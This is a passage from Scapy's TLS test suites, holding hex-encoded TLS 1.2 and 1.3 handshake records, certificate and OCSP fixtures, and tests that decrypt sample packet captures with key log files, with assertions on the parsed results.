113e44b23a67d349b0406903b6acfdce0595e16b4f41dee9351f16e1267f9bdc6abbd897332552cb9b139f1556fc207fb8dee337d185acbe6b1b42c09751339e7d441933bec3cc4b24740b1640a2af73eadf700e0bee5065c38886f6a5983e1029f67085590f95f9546057725c004804cd97ed2c1c5ca0383751e77c087449719e65d9a39adad84e1bab92c0f9b7b472e58f60d4f81e3b622d7f62fd61c747e5951b54e9ef7b1a65b07e25c94baa7c19284ecf855a5cff7dae958359f3bd5d6184f11a3785026f8479d25595948160de89e8af62f306783c79b0bf28fb18da512737b52ede9f826ed95ed1ce8386e3ff3e74ba0b7ad82bef0c046223986475de12c9654f0fc3cb162d24ab02fe51120566bc993583e10149c16d953640357785e88748739cf84a3f0930fe5b4732f17f32e7e7fdf00023643a798cf7\"\n\nkey = \"3476f00e12d8c768be0bd6db6af9e539441edd84b87178e8843bb2febc4b2097ac9619e65ed61837550e51834c32c7cb007b9b9a2f129d7127ee9f8bcbc2ba2141677300bc660d080d32257731d8d795bda7467df240cf07e8f1cde33bfc1f168385babee0f5834269f3c1070f7d89b3b9607b474edd306af54638d14e58cdc524b8972035a762dc446ef95b30a8c5e06876804ec9fb180f0255ea93b1438336e414761e1e1e2772909ce3fadc5282674337267f9697204b81a0b3ded2a3ecb03b46c1a4113e44b23a67d349b0406903b6acfdce0595e16b4f41dee9351f16e1267f9bdc6abbd897332552cb9b139f1556fc207fb8dee337d185acbe6b1b42c09751339e7d441933bec3cc4b24740b1640a2af73eadf700e0bee5065c38886f6a5983e1029f67085590f95f9546057725c004804cd97ed2c1c5ca0383751e77c087449719e65d9a39adad84e1bab92c0f9b7b472e58f60d4f81e3b622d7f62fd61c747e5951b54e9ef7b1a65b07e25c94baa7c19284ecf855a5cff7dae958359f3bd5d6184f11a3785026f8479d25595948160de89e8af62f306783c79b0bf28fb18da512737b52ede9f826ed95ed1ce8386e3ff3e74ba0b7ad82bef0c046223986475de12c9654f0fc3cb162d24ab02fe51120566bc993583e10149c16d953640357785e88748739cf84a3f0930fe5b4732f17f32e7e7fdf00023643a798cf7\"\n\ntls_packet = TLS(bytes.fromhex(hex_data))\nassert tls_packet.msg[0].ext[8].client_shares[0].sprintf(\"%group%\") == 'ffdhe4096'\nassert tls_packet.msg[0].ext[8].client_shares[0].key_exchange == bytes.fromhex(key)\nassert tls_packet.tls_session.tls13_client_pubshares['ffdhe4096'].key_size == 4096\n\n# Build\n\ntls_packet = TLS(msg=[TLSClientHello(ext=[TLS_Ext_KeyShare_CH(client_shares=[KeyShareEntry(group=\"ffdhe4096\")])])])\ntls_packet.raw_stateful()\nassert tls_packet.tls_session.tls13_client_privshares['ffdhe4096'].key_size == 4096\n\n= Issue 4418 - TLSFinished\n\ntls_packet = TLSFinished(bytes.fromhex('1400000c72793a9d2f946a0455bf1995'))\nassert tls_packet.vdata == b'ry:\\x9d/\\x94j\\x04U\\xbf\\x19\\x95'\n\n= OCSP: payload after OCSP - GH3291\n\ndata = '1603031616020000660303602161b58e22f4966f18f9aa6afd5759f343935ed437cf09c554dd27691a1eb420a13c0000eaad0a6cd4f11bfc59788daec98422be4f3810c19669207e509aaa11c03000001e000500000023000000100005000302683200170000ff01000100000000000b000d5d000d5a0007f6308207f2308205daa00302010202136b000006c55514d0a6c4891be20000000006c5300d06092a864886f70d01010b0500304f310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3120301e060355040313174d6963726f736f66742052534120544c53204341203031301e170d3230303930393231343530355a170d3231303930393231343530355a30223120301e060355040313177074692e73746f72652e6d6963726f736f66742e636f6d30820122300d06092a864886f70d01010105000382010f003082010a028201010094876b9572b7c3d7fbb2d569ffff6b8f716245a2d9b413c9e8238ee88d98b1002cec8c2198b52f3b7f0a679ceb1aeb2c1467d2eda3c71b4bb0756ba42354a956b8d40bd422921793b3dec0aab3f5e0b023bcb7dfdf48bd4b064c1a62255e9b58c16ad482087fd1505b01aad9474f06925f3821fbe92f680e87db3f0aa150e2066848f88ebe08d8280185bbba697b39d12e03eae6d4e481319432f2752793fcd125f2714cd92b37e3d9b8fcec7fd7b3c121fdedc42b50ff65f73352cbc1202ac59c846df2a9168c00fc4754f5e19c3b0503dbe4f58b0f8b3e0fa411d4dcb8e1acdef9a2ca7db52e282a14119e1ef3a867a3b7d8fdaccc27d3d2033bb5082a1b510203010001a38203f2308203ee30820105060a2b06010401d6790204020481f60481f300f10076007d3ef2f88fff88556824c2c0ca9e5289792bc50e78097f2e6a9768997e22f0d70000017474dd866500000403004730450221008886de3960d7fe8cbaa9bcf91f961d920af99ec72adaf07fb6f6e2759d6d045b02201f90de8ad6dc333cbf920fe6cd66b41d97a01397831b2ea39f618c1505ecc7e70077004494652eb0eeceafc44007d8a8fe28c0dae682bed8cb31b53fd33396b5b681a80000017474dd86d200000403004830460221008f66e7ce568540722b5a09d96bc08d78a1cc98dda6c7c2cda1daaa7ea49d75f302210099ccca061b9b31f938988f2e4182fcb39035f6e90d5dee8c928582bd4e5fb693302706092b060104018237150a041a3018300a06082b06010505070301300a06082b06010505070302303e06092b06010401823715070431302f06272b060104018237150887da867583eed90182c9851b81b59e6185f4eb60815d85868e4187c2985002016402012530818706082b06010505070101047b3079305306082b060105050730028647687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b692f6d73636f72702f4d6963726f736f6674253230525341253230544c53253230434125323030312e637274302206082b060105050730018616687474703a2f2f6f6373702e6d736f6373702e636f6d301d0603551d0e041604142746d09d123c3c91382ef590e0aab2a901f0d0c3300b0603551d0f0404030204b030780603551d110471306f821b7074692d696e742e73746f72652e6d6963726f736f66742e636f6d82177074692e73746f72652e6d6963726f736f66742e636f6d821a7074692d696e742e747261666669636d616e616765722e6e6574821b7074692d70726f642e747261666669636d616e616765722e6e65743081b00603551d1f0481a83081a53081a2a0819fa0819c864d687474703a2f2f6d7363726c2e6d6963726f736f66742e636f6d2f706b692f6d73636f72702f63726c2f4d6963726f736f6674253230525341253230544c53253230434125323030312e63726c864b687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f6d73636f72702f63726c2f4d6963726f736f6674253230525341253230544c53253230434125323030312e63726c30570603551d200450304e304206092b0601040182372a013035303306082b060105050702011627687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b692f6d73636f72702f6370733008060667810c010201301f0603551d23041830168014b5760c3011cec792424d4cc75c2cc8a90ce80b64301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038202010086dd00ab90b01c8f5c87d59c2cc45e2cb81998699e5e97aeceea13670bbf2b76e9add7cd11bc4ef347dbab7ea7c28300223bd43e5d2904db1516c55572181534f4efc11eccf4d10a9c08ddfbff53cad870856e0e3377b7639cfc3de5d3c7ca8294cc6e7ac0cac0e1a3cd4b0b81cdcb2fa1dbf6ebc2659d6f1947e8047be27c02fba8b6a991837781cea269246353e5441aa33c8494d4591ee482f448bef23460578f96c5c1e92f5a7cd7c81815b40a7cc00aeee6976a708c1d236c7fe64a4a45f7fd83707c0e621ff7e78fe089dd3ff539148a0acba6a99a8ca630ef2e2c83529596bbb3fb1c9ea7f371158d70b36120217154003e791db16390877c83dd27543c15e73c1af5f22b4c7c73347a9b97de633abdd9413363877a8a428f18cd624e310e2ea17aa4740a167aabecfb5f5c244ef8ada6638f90592df625885b9a57ec478acca5ec2c35e6c66b597be4570057d6769f3e5c2487ea70f84ecabc0f4064bb0e7be746d652f3861b931eb0e75846253e7eeae987cf7d4193bd1dc85044ee798d821536944c7ade7e269b13e4ece47093c641e7fc8d31dc0e3d211d94e8b450cfed2733ad78fac2eae225acd505117c39243a8e24feebd47ff875643d1ef777dd2a1a18f370dd83fdf85ca2eadf3c46711aedc68fc13b1db8bf71e015c77f69882613ea096c216e759553ea475a48db8ac4e92b8b184b7dbc9d458758e85200055e3082055a30820442a00302010202100f14965f202069994fd5c7ac788941e2300d06092a864886f70d01010b0500305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f74301e170d3230303732313233303030305a170d3234313030383037303030305a304f310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3120301e060355040313174d6963726f736f66742052534120544c5320434120303130820222300d06092a864886f70d01010105000382020f003082020a0282020100aa6277cf9a63b20684f39036f499f31451abea950a3b4606fd11411ffe5b0658c9386e08fc4f4448cd3aa4f7bd1ea2e295b8be5120c5bfb270635d780c43c029cd64490996daafcefd055f2b2a91e8016e2e189b2c9cd0017f69f5ee3f53885cba056cbe2215671482f22cd2be5b6337ccaf6085e8966b6b8008a86ebe009c6b9570fce41812b11d1bb2c11331673334e625c9625b58827576f2fef23f3b16dfaa4283e3326d9b8e4326f0bd0e1fa1a73aaf2cc88ae6ea3ff9a5d2258f92aa1a08129cfeac4ac7c3eb8094ab8716d12349e7a4bbc791dfe679343f414aa73a26d2ea6f46e33873e6e5d491ae0b789e78a5ef96e373d8f79565e905bf4f5cff52a7f9cf08afa74d0999c071a3527aa53bd79b015403e3b662b05a279c30268eb64d56a117177a7b95a107ac5331b6d62e0fcd4174ecf101b2fd45bffc31e146423136431eb9aa055f847f91b18bae0fd754c3fdf064086ad39c8eea7934ec033d73e01b36d46811c75970b0877cc0dc6e45ca36ce43267702a9700de8b857544442c3fbac1b632608c2d2231f7f930b7c6f08549a2b4e5dce9fa53ed2985bd102dbf183ce3052483863f1b1fbed23d33e92b5278dd04273d79d236871ba595e0752a6964dbf7c4e6f742205c0538016d8604e97314f894e4863d8edf9e5c2d90eb20bf6694cbd4b01c9cbdd06bf3a02eb1cdd308b0d4a1460f9d5644f4344a1ed0203010001a382012530820121301d0603551d0e04160414b5760c3011cec792424d4cc75c2cc8a90ce80b64301f0603551d23041830168014e59d5930824758ccacfa085436867b3ab5044df0300e0603551d0f0101ff040403020186301d0603551d250416301406082b0601050507030106082b0601050507030230120603551d130101ff040830060101ff020100303406082b0601050507010104283026302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d303a0603551d1f04333031302fa02da02b8629687474703a2f2f63726c332e64696769636572742e636f6d2f4f6d6e69726f6f74323032352e63726c302a0603551d20042330213008060667810c0102013008060667810c010202300b06092b0601040182372a01300d06092a864886f70d01010b050003820101009f2bbe92675bda7b8aade8ff9d4d050eedb60d1541d1e615dc0360f9f422569c48f99daeda2b3ca8c0abd0ba95b8c8c1fd7c6371b6c87a889b3046a38e7d9602e3f82204efe036c06fc2bf2e0d6eedd676280d81873e9be7a7108cda661f4051eae7bebf4e6798bb5459636f42e30f31601964000f260c97d184c0a67a193b70de4526dc96463d9c663fe13a8238e53603042857a4e94b64a218886d60898d7abe10918bace63f3130bfeb64d79e8de9c192566e388d343faecd6c6b4252623cd46989e0a057590b839fc6722442f5080384ce1663f334f105763719b206de133e137061d304f2b8476f05e38a88302b47455e7954c5f9ddebfa3f785175d25b160006d6010006d2308206ce0a0100a08206c7308206c306092b0601050507300101048206b4308206b03081a5a21604149a0190a5b9942f43bc62113fcd3d404bead25250180f32303231303230383036303930325a307a3078304c300906052b0e03021a05000414521ee36c478119a9cb03fab74e57e1197af1818b0414b5760c3011cec792424d4cc75c2cc8a90ce80b6402136b000006c55514d0a6c4891be20000000006c58000180f32303231303230383036303930325aa011180f32303231303231323036303930325aa1023000300d06092a864886f70d01010b05000382010100784c3cee7765bf5cb164c0cf465462c37e97d11041443dcd9052e413747a71f8c37a051a29cdba11ea15cac3c252eeab533c7e9141431649a3a57a7dacc1fa697fdd360c139a35af181b7154574e7b87ade8da951d1894362082f80eb56d3775e729e930a097e72a7339e6e63719acc8166fd9c77c068cc75240a3b2149da8bcc24187addcfcc7330ad057b1d7a215380ea8e060b2a85330bc262c58e119672d846b87be7edf535d68a4bc2a643516df1c134401d96f0944d4d7ebe7a769ecdcfa90418486c9d62a9a4c46e232fa94221392f59a9c8df520b19e1214ed4ac70f54367b640924c48d2d3596056ff7424fc1734b98edc02dc67d8d72f6d10f44e8a08204f0308204ec308204e8308202d0a00302010202136b00086694d48d4b29943630f5000000086694300d06092a864886f70d01010b0500304f310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3120301e060355040313174d6963726f736f66742052534120544c53204341203031301e170d3231303230323139353831335a170d3232303230323139353831335a30353133303106035504030c2a4d6963726f736f66745f5253415f544c535f49737375696e675f43415f30315f4b657942696e64696e6730820122300d06092a864886f70d01010105000382010f003082010a0282010100b65a936febea1694e5de2b8dfc1997d265f3582b94f9be1fb56bb96e2191c5df170bb52d276c30c8fdc876f1e5b3d9b900571e17fd505534f56db0ab7953261a34911e9fb0340aac76c1baede9a580ee86eba49f0e3d7cddcc60d973c69afc157aaa5d2d6ede3cd7d9a265098ee932fde13049e0f1490b2bb88bd56b6e26033ad99f49f6b7366eb275e6550c6b74f1823ac6dcf86a843825ade03f670a7ce895c840a7cfca247bc94d608ee30feefa8346470bc69f0f2e847b5896b377d70fa20e99d3af06b2d8c286b512fad8070cdc33f3302f48ad02014a21de13d1a04fbdf6fca54cc7364e303a1b458d2093fb8e98f686c2d8da374e757f8ac25b2210e70203010001a381d63081d3301d0603551d0e041604149a0190a5b9942f43bc62113fcd3d404bead25250300e0603551d0f0101ff04040302078030130603551d25040c300a06082b06010505070309300f06092b060105050730010504020500301f0603551d23041830168014b5760c3011cec792424d4cc75c2cc8a90ce80b64303e06092b06010401823715070431302f06272b060104018237150887da867583eed90182c9851b81b59e6185f4eb60815d81cc9b4781c8e916020164020107301b06092b060104018237150a040e300c300a06082b06010505070309300d06092a864886f70d01010b0500038202010012d83b821ff2afc4d67c63cee2d9a1045c1a1f0628274e1da3ef03fcdc720d420423478090afe6cbbaf4c753fdcad04aef5ca919c96ab9b540a64cc23d24181e7016391e780ae56a0897a372ea9a93a959c0d713ae0cbd5e6ca420724a110ac0901d671ea8c57ba31db062a7df4bbc8cb78d820262f9ba12e4313edb85155f69c47a05fa6171958e6577b61910357a5940a3c3f186eb07a37968c7f17b5614603aae4e71cb2d5f122bbea187888452239cb9c0d338d913604034e4eb3be2639a15836d08b4b4f38287414e5cd144a23aa95edb59236205397263ead5b0ef1a2239f54149f9b5992a2964a28373652a1bb31a772a04c5d4eef2fd0e5853094590ccc5b1bcb9fc1910d31652cc8f2e72c685665834f3826613dd456655ae9c9f21283a1684123fa144bc3276f50ead086fd9c149b670b27804057472602a984a3de016f65bf0980baa8a0cbadd53b061800347fec63d80b0b68d164e295e682a890ae433c439ae04a31dd8b9260c81692a110e8583038e767ceab2b87db2067eeb1973aa5bbcd5f3b4fca071ca60361d9815e87c76c44e9791c7aa25defaaaa28d72c709ad434b44974ed50546b685e215c7a70065503f0014d5f9f1fdf851930af51e7c425d0ea0d966377f44d60bf6345a05d750d2de25ebb1957bdac56b1d9a3a4e556bf398e063062ea7e1400a279abb085c1fadb9e517231b5fdcb0d868c10c00016903001861040089499a5bf709647d1cd5e41d381c15ab96100c86f0d66d0ba53a224b2adb7897f63de0368a080e17e80da5f70505d58c5317cb047dfeeecc1c7e160fdbf4747c78fb2641b233ad509c12de3a83c3d9cab174c8ca3a748d43766a11eeaa3e8c080401006f041a8741e47e744c7b6b83abf44bc722ae7f1ca19e12989106c2a78a37c8713cac664d1d1dbff6a566b05f478f15123fb155850cafeb36120e9fb24ae4fc5f4c6e4614ebcaf1dab4a79405325d4774cef1c85facffdf57c182c7e22d29facb2ee7460b716aaa6b5e3235036d21a6212414f2d75fc85caa91317fcd0318c651f8459f32bfbda3f3b2e04c1f0c2f8982ea16d2df599133881106b27d53276703bc43230f0fdcadb8b1fe13101d1055a14d6cc6af8fa48d6dd23a0a36fb5d6ebb8f5021e3e20900b5de2442da9853d2446d75b1c2198d24cdc2a5a3d07a9aab451e196c6c49fce20bdb71a7190de2964afd934a7f14afb7872a49ab6a7a5cf2d30e000000'\n\npkt = TLS(bytes.fromhex(data))\nassert [type(x) for x in pkt.msg] == [TLSServerHello, TLSCertificate, TLSCertificateStatus, TLSServerKeyExchange, TLSServerHelloDone]\n\n= Issue 3853\ndata = hex_bytes(\"16030300360200002e030342615f0b32366c85b5de265ec99fd68c59079d9783dc2f547592fe12f4ab3fde00c02c000015ff01000100000e000000\")\ntls_packet = TLS(data)\nassert raw(tls_packet) == data\n\n###############################################################################\n############################ Automaton behaviour ##############################\n###############################################################################\n\n# see scapy/layers/tls/tlsclientserver.uts\n\n\n###############################################################################\n####################### Decrypt packets from a pcap ##########################\n###############################################################################\n\n+ Decrypt packets from a pcap\n\n= pcap file & external TLS Key Log file\n\nbck_conf = conf\nconf.tls_session_enable = True\nconf.tls_nss_filename = scapy_path(\"doc/notebooks/tls/raw_data/tls_nss_example.keys.txt\")\n\npackets = sniff(offline=scapy_path(\"doc/notebooks/tls/raw_data/tls_nss_example.pcap\"), session=TCPSession)\nassert b\"GET /pki/srv_key.pem HTTP/1.0\\r\\n\" in packets[9].msg[0].data\nassert b\"BEGIN PRIVATE KEY\" in packets[10].msg[0].data\nassert b\"GET /pki/srv_key.pem HTTP/1.0\\r\\n\" in packets[27].inner.msg[0].data\nassert b\"BEGIN PRIVATE KEY\" in packets[28].inner.msg[0].data\n\nconf = bck_conf\n\n= pcapng file with a Decryption Secrets Block\n~ tshark linux\n\nimport shutil\nif shutil.which(\"editcap\"):\n    bck_conf = conf\n    key_log_path = scapy_path(\"doc/notebooks/tls/raw_data/tls_nss_example.keys.txt\")\n    pcap_path = scapy_path(\"doc/notebooks/tls/raw_data/tls_nss_example.pcap\")\n    pcapng_path = get_temp_file()\n    exit_status = os.system(\"editcap --inject-secrets tls,%s %s %s\" % (key_log_path, pcap_path, pcapng_path))\n    assert exit_status == 0\n    packets = sniff(offline=pcapng_path, session=TCPSession)\n    assert b\"GET /pki/srv_key.pem HTTP/1.0\\r\\n\" in packets[9].msg[0].data\n    assert b\"BEGIN PRIVATE KEY\" in packets[10].msg[0].data\n    assert b\"GET /pki/srv_key.pem HTTP/1.0\\r\\n\" in packets[27].inner.msg[0].data\n    assert b\"BEGIN PRIVATE KEY\" in packets[28].inner.msg[0].data\n    conf = bck_conf\n\n= pcapng file with a non-UTF-8 Decryption Secrets Block\n\n# GH3936\n\nhdump = \"\"\"\n00000000  0a 0d 0d 0a c4 00 00 00  4d 3c 2b 1a 01 00 00 00  |........M<+.....|\n00000010  ff ff ff ff ff ff ff ff  02 00 37 00 49 6e 74 65  |..........7.Inte|\n00000020  6c 28 52 29 20 43 6f 72  65 28 54 4d 29 20 69 37  |l(R) Core(TM) i7|\n00000030  2d 36 37 30 30 48 51 20  43 50 55 20 40 20 32 2e  |-6700HQ CPU @ 2.|\n00000040  36 30 47 48 7a 20 28 77  69 74 68 20 53 53 45 34  |60GHz (with SSE4|\n00000050  2e 32 29 00 03 00 2a 00  4c 69 6e 75 78 20 34 2e  |.2)...*.Linux 4.|\n00000060  32 30 2e 31 32 2d 67 65  6e 74 6f 6f 2d 61 6e 64  |20.12-gentoo-and|\n00000070  72 6f 6d 65 64 61 2d 32  30 31 39 30 33 30 35 2d  |romeda-20190305-|\n00000080  76 31 00 00 04 00 33 00  44 75 6d 70 63 61 70 20  |v1....3.Dumpcap |\n00000090  28 57 69 72 65 73 68 61  72 6b 29 20 33 2e 31 2e  |(Wireshark) 3.1.|\n000000a0  30 20 28 76 33 2e 31 2e  30 72 63 30 2d 34 36 38  |0 (v3.1.0rc0-468|\n000000b0  2d 67 65 33 65 34 32 32  32 62 29 00 00 00 00 00  |-ge3e4222b).....|\n000000c0  c4 00 00 00 0a 00 00 00  c4 00 00 00 4b 53 4c 54  |............KSLT|\n000000d0  b0 00 00 00 43 4c 49 45  4e 54 5f 52 41 4e 44 4f  |....CLIENT_RANDO|\n000000e0  4d 20 41 36 39 39 35 43  37 44 35 41 35 31 35 42  |M A6995C7D5A515B|\n000000f0  30 44 34 39 41 31 42 38  31 33 33 39 33 34 32 37  |0D49A1B813393427|\n00000100  43 43 35 43 39 44 42 37  36 36 37 38 45 34 38 44  |CC5C9DB76678E48D|\n00000110  31 41 43 35 39 31 44 37  44 37 44 35 42 38 30 31  |1AC591D7D7D5B801|\n00000120  44 43 20 34 30 33 37 35  37 34 30 31 42 30 30 37  |DC 403757401B007|\n00000130  34 35 33 38 33 41 46 36  41 36 30 38 31 39 42 43  |45383AF6A60819BC|\n00000140  37 46 38 42 36 33 39 33  42 37 32 45 44 45 39 46  |7F8B6393B72EDE9F|\n00000150  45 42 32 30 44 33 31 33  46 38 31 42 39 c0 bd bb  |EB20D313F81B9...|\n00000160  c6 36 46 36 41 43 37 34  32 46 46 46 35 45 43 31  |.6F6AC742FFF5EC1|\n00000170  44 31 41 32 44 39 39 41  46 34 39 35 33 45 31 33  |D1A2D99AF4953E13|\n00000180  33 34 41 0a c4 00 00 00                           |34A.....|\n00000188\n\"\"\".strip()\n\nassert len(rdpcap(io.BytesIO(import_hexcap(hdump)))) == 0\n\n= pcap file & external TLS Key Log file with TCPSession (without extms)\n* GH3722\n\n# Write SSLKEYLOGFILE\ntemp_sslkeylog = get_temp_file()\nwith open(temp_sslkeylog, \"w\") as fd:\n    fd.write(\"CLIENT_RANDOM 09F91DA01B1FEB50B691C932959111E5E1D676437F7A42DE47EA881F6295D4E7 EE119869B732F0F9561FFDD95E50A2ACBF268EE0C7C33B409E68C1972E0B280944F7345E845E82F909CCFEB61C456E1F\\n\")\n\nbck_conf = conf\nconf.tls_session_enable = True\nconf.tls_nss_filename = temp_sslkeylog\n\npackets = sniff(offline=scapy_path(\"test/pcaps/tls_tcp_frag_withnss.pcap.gz\"), session=TCPSession)\npackets.show()\n\nassert packets[8].getlayer(TLS, 3).msg[0].msgtype == 20\nassert packets[8].getlayer(TLS, 3).msg[0].vdata == b'\\n\\xd4`\\xf0\\xd9X\\x02\\x10Z\\x81\\xf4l'\nassert packets[10].getlayer(TLS, 3).msg[0].msgtype == 20\nassert packets[10].getlayer(TLS, 3).msg[0].vdata == b'\\xa6>f\\xd8\\xacf\\x99| \\xbd<\\xa1'\nassert packets[11].msg[0].data == b'GET /uuid HTTP/1.1\\r\\nUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.22000.832\\r\\nHost: httpbin.org\\r\\nConnection: Keep-Alive\\r\\n\\r\\n'\nassert packets[13].msg[0].data == b'HTTP/1.1 200 OK\\r\\nDate: Sat, 20 Aug 2022 22:32:24 GMT\\r\\nContent-Type: application/json\\r\\nContent-Length: 53\\r\\nConnection: keep-alive\\r\\nServer: gunicorn/19.9.0\\r\\nAccess-Control-Allow-Origin: *\\r\\nAccess-Control-Allow-Credentials: true\\r\\n\\r\\n{\\n  \"uuid\": \"5bad226d-504a-4416-a11a-8a5f8edbdbbd\"\\n}\\n'\n\n# Test summary()\nassert packets[6].summary() == 'Ether / IP / TCP / TLS 52.87.105.151:443 > 10.211.55.3:51933 / TLS / TLS Handshake - Certificate / TLS / TLS Handshake - Server Key Exchange / TLS / TLS Handshake - Server Hello Done'\nassert packets[8].summary() == 'Ether / IP / TCP / TLS 10.211.55.3:51933 > 52.87.105.151:443 / TLS / TLS Handshake - Client Key Exchange / TLS / TLS ChangeCipherSpec / TLS / TLS Handshake - Finished'\nconf = bck_conf\n"
  },
  {
    "path": "test/scapy/layers/tls/tls13.uts",
    "content": "% Tests for TLS 1.3\n#\n# Try me with :\n# bash test/run_tests -t test/scapy/layers/tls/tls13.uts -F\n\n~ libressl\n\n+ Read a protected TLS 1.3 session\n# /!\\ These tests will not catch our 'INTEGRITY CHECK FAILED's. /!\\\n# We deem the knowledge of the plaintext sufficient for passing...\n\n\n#~ crypto\n\n\n\n= Reading test session - Loading unparsed TLS 1.3 records\nimport binascii\ndef clean(s):\n    return binascii.unhexlify(''.join(c for c in s if c.isalnum()))\n\nclientHello = clean(\"\"\"\n         16 03 01 00 c4 01 00 00 c0 03 03 cb\n         34 ec b1 e7 81 63 ba 1c 38 c6 da cb 19 6a 6d ff a2 1a 8d 99 12\n         ec 18 a2 ef 62 83 02 4d ec e7 00 00 06 13 01 13 03 13 02 01 00\n         00 91 00 00 00 0b 00 09 00 00 06 73 65 72 76 65 72 ff 01 00 01\n         00 00 0a 00 14 00 12 00 1d 00 17 00 18 00 19 01 00 01 01 01 02\n         01 03 01 04 00 23 00 00 00 33 00 26 00 24 00 1d 00 20 99 38 1d\n         e5 60 e4 bd 43 d2 3d 8e 43 5a 7d ba fe b3 c0 6e 51 c1 3c ae 4d\n         54 13 69 1e 52 9a af 2c 00 2b 00 03 02 03 04 00 0d 00 20 00 1e\n         04 03 05 03 06 03 02 03 08 04 08 05 08 06 04 01 05 01 06 01 02\n         01 04 02 05 02 06 02 02 02 00 2d 00 02 01 01 00 1c 00 02 40 01\n      \"\"\")\n\n\nserverHello = clean(\"\"\"\n         16 03 03 00 5a 02 00 00 56 03 03 a6\n         af 06 a4 12 18 60 dc 5e 6e 60 24 9c d3 4c 95 93 0c 8a c5 cb 14\n         34 da c1 55 77 2e d3 e2 69 28 00 13 01 00 00 2e 00 33 00 24 00\n         1d 00 20 c9 82 88 76 11 20 95 fe 66 76 2b db f7 c6 72 e1 56 d6\n         cc 25 3b 83 3d f1 dd 69 b1 b0 4e 75 1f 0f 00 2b 00 02 03 04\n      \"\"\")\n\nserverEncHS = clean(\"\"\"\n         17 03 03 02 a2 d1 ff 33 4a 56 f5 bf\n         f6 59 4a 07 cc 87 b5 80 23 3f 50 0f 45 e4 89 e7 f3 3a f3 5e df\n         78 69 fc f4 0a a4 0a a2 b8 ea 73 f8 48 a7 ca 07 61 2e f9 f9 45\n         cb 96 0b 40 68 90 51 23 ea 78 b1 11 b4 29 ba 91 91 cd 05 d2 a3\n         89 28 0f 52 61 34 aa dc 7f c7 8c 4b 72 9d f8 28 b5 ec f7 b1 3b\n         d9 ae fb 0e 57 f2 71 58 5b 8e a9 bb 35 5c 7c 79 02 07 16 cf b9\n         b1 18 3e f3 ab 20 e3 7d 57 a6 b9 d7 47 76 09 ae e6 e1 22 a4 cf\n         51 42 73 25 25 0c 7d 0e 50 92 89 44 4c 9b 3a 64 8f 1d 71 03 5d\n         2e d6 5b 0e 3c dd 0c ba e8 bf 2d 0b 22 78 12 cb b3 60 98 72 55\n         cc 74 41 10 c4 53 ba a4 fc d6 10 92 8d 80 98 10 e4 b7 ed 1a 8f\n         d9 91 f0 6a a6 24 82 04 79 7e 36 a6 a7 3b 70 a2 55 9c 09 ea d6\n         86 94 5b a2 46 ab 66 e5 ed d8 04 4b 4c 6d e3 fc f2 a8 94 41 ac\n         66 27 2f d8 fb 33 0e f8 19 05 79 b3 68 45 96 c9 60 bd 59 6e ea\n         52 0a 56 a8 d6 50 f5 63 aa d2 74 09 96 0d ca 63 d3 e6 88 61 1e\n         a5 e2 2f 44 15 cf 95 38 d5 1a 20 0c 27 03 42 72 96 8a 26 4e d6\n         54 0c 84 83 8d 89 f7 2c 24 46 1a ad 6d 26 f5 9e ca ba 9a cb bb\n         31 7b 66 d9 02 f4 f2 92 a3 6a c1 b6 39 c6 37 ce 34 31 17 b6 59\n         62 22 45 31 7b 49 ee da 0c 62 58 f1 00 d7 d9 61 ff b1 38 64 7e\n         92 ea 33 0f ae ea 6d fa 31 c7 a8 4d c3 bd 7e 1b 7a 6c 71 78 af\n         36 87 90 18 e3 f2 52 10 7f 24 3d 24 3d c7 33 9d 56 84 c8 b0 37\n         8b f3 02 44 da 8c 87 c8 43 f5 e5 6e b4 c5 e8 28 0a 2b 48 05 2c\n         f9 3b 16 49 9a 66 db 7c ca 71 e4 59 94 26 f7 d4 61 e6 6f 99 88\n         2b d8 9f c5 08 00 be cc a6 2d 6c 74 11 6d bd 29 72 fd a1 fa 80\n         f8 5d f8 81 ed be 5a 37 66 89 36 b3 35 58 3b 59 91 86 dc 5c 69\n         18 a3 96 fa 48 a1 81 d6 b6 fa 4f 9d 62 d5 13 af bb 99 2f 2b 99\n         2f 67 f8 af e6 7f 76 91 3f a3 88 cb 56 30 c8 ca 01 e0 c6 5d 11\n         c6 6a 1e 2a c4 c8 59 77 b7 c7 a6 99 9b bf 10 dc 35 ae 69 f5 51\n         56 14 63 6c 0b 9b 68 c1 9e d2 e3 1c 0b 3b 66 76 30 38 eb ba 42\n         f3 b3 8e dc 03 99 f3 a9 f2 3f aa 63 97 8c 31 7f c9 fa 66 a7 3f\n         60 f0 50 4d e9 3b 5b 84 5e 27 55 92 c1 23 35 ee 34 0b bc 4f dd\n         d5 02 78 40 16 e4 b3 be 7e f0 4d da 49 f4 b4 40 a3 0c b5 d2 af\n         93 98 28 fd 4a e3 79 4e 44 f9 4d f5 a6 31 ed e4 2c 17 19 bf da\n         bf 02 53 fe 51 75 be 89 8e 75 0e dc 53 37 0d 2b\n      \"\"\")\n\nclientEncHS = clean(\"\"\"\n         17 03 03 00 35 75 ec 4d c2 38 cc e6\n         0b 29 80 44 a7 1e 21 9c 56 cc 77 b0 51 7f e9 b9 3c 7a 4b fc 44\n         d8 7f 38 f8 03 38 ac 98 fc 46 de b3 84 bd 1c ae ac ab 68 67 d7\n         26 c4 05 46\n   \"\"\")\n\n\n= Reading TLS 1.3 session - TLS parsing (no encryption) does not throw any error\n# We will need to distinguish between connection ends. See next XXX below.\nfrom scapy.layers.tls.record import TLS\nt1 = TLS(clientHello)\nt2 = TLS(serverHello, tls_session=t1.tls_session.mirror())\n\n= Reading TLS 1.3 session - TLS Record header\n# We leave the possibility for some attributes to be either '' or None.\nassert t1.type == 0x16\nassert t1.version == 0x0301\nassert t1.len == 196\nassert not t1.iv\nassert not t1.mac\nassert not t1.pad and not t1.padlen\nlen(t1.msg) == 1\n\n\n= Reading TLS 1.3 session - TLS Record __getitem__\nfrom scapy.layers.tls.handshake import 